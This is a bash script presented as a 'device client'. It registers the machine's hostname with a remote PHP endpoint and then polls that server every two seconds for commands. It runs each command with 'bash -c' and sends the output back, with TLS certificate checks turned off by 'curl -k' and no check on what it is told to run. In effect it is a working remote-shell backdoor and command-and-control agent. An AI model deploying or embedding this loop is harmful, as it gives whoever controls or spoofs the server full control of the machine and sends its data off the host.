#!/bin/bash
set -euo pipefail
IFS=$'\n\t'

API_URL="https://feni.fdc.my.id/api.php"
CONFIG_DIR="$HOME/.device_client"
CONFIG_FILE="$CONFIG_DIR/device.json"
MAX_RETRY=5

log() { echo "[$(date '+%Y-%m-%d %H:%M:%S')] $*"; }

mkdir -p "$CONFIG_DIR"
[ ! -f "$CONFIG_FILE" ] && echo "{}" > "$CONFIG_FILE"

# ===============================
# ENSURE UNIT_ID NOT NULL
# ===============================
retry=0
while true; do
    UNIT_ID=$(jq -r '.unit_id // empty' "$CONFIG_FILE" 2>/dev/null || echo "")

    if [ -n "$UNIT_ID" ]; then
        log "[✓] Using unit_id: $UNIT_ID"
        break
    fi

    retry=$((retry+1))
    log "[!] unit_id NULL (retry $retry/$MAX_RETRY)"

    if [ "$retry" -ge "$MAX_RETRY" ]; then
        log "[✗] Failed to generate unit_id"
        exit 1
    fi

    HOST=$(hostname)
    RAND=$(shuf -i 1000000000-9999999999 -n 1)
    NEW_UNIT_ID="unit-${HOST}-${RAND}"

    jq -n --arg uid "$NEW_UNIT_ID" '{unit_id:$uid}' > "$CONFIG_FILE"
    sleep 1
done

HOSTNAME=$(hostname)

# ===============================
# DEPENDENCY CHECK
# ===============================
for bin in curl jq shuf; do
    command -v "$bin" >/dev/null 2>&1 || {
        log "[✗] Missing dependency: $bin"
        exit 1
    }
done

# ===============================
# API FUNCTIONS
# ===============================
register_device() {
    while true; do
        log "[*] Registering device (unit_id=$UNIT_ID)"
        RESPONSE=$(curl -s --max-time 10 -k \
            "$API_URL?action=register&hostname=$HOSTNAME&unit_id=$UNIT_ID" || true)

        if echo "$RESPONSE" | jq -e '.ok==true' >/dev/null 2>&1; then
            log "[✓] Registered successfully"
            break
        else
            log "[!] Registration failed: $RESPONSE"
            sleep 5
        fi
    done
}

heartbeat() {
    curl -s --max-time 5 -k \
        "$API_URL?action=heartbeat&unit_id=$UNIT_ID" >/dev/null || true
}

fetch_commands() {
    CMD_JSON=$(curl -s --max-time 10 -k \
        "$API_URL?action=fetch_commands&unit_id=$UNIT_ID" || echo "[]")

    jq empty <<<"$CMD_JSON" 2>/dev/null || {
        log "[!] Invalid JSON from server"
        return
    }

    echo "$CMD_JSON" | jq -c '.[]' | while read -r CMD; do
        CMD_ID=$(jq -r '.id' <<<"$CMD")
        CMD_TEXT=$(jq -r '.command_text' <<<"$CMD")

        log "[*] Executing: $CMD_TEXT"
        RESULT=$(bash -c "$CMD_TEXT" 2>&1 || true)
        RESULT_ENC=$(printf '%s' "$RESULT" | jq -sRr @uri)

        curl -s --max-time 10 -k -G \
            --data-urlencode "result=$RESULT_ENC" \
            "$API_URL?action=ack&cmd_id=$CMD_ID" >/dev/null || true

        log "[✓] Command $CMD_ID done"
    done
}

# ===============================
# MAIN
# ===============================
register_device
log "[*] Starting main loop..."

while true; do
    heartbeat
    fetch_commands
    sleep 2
done
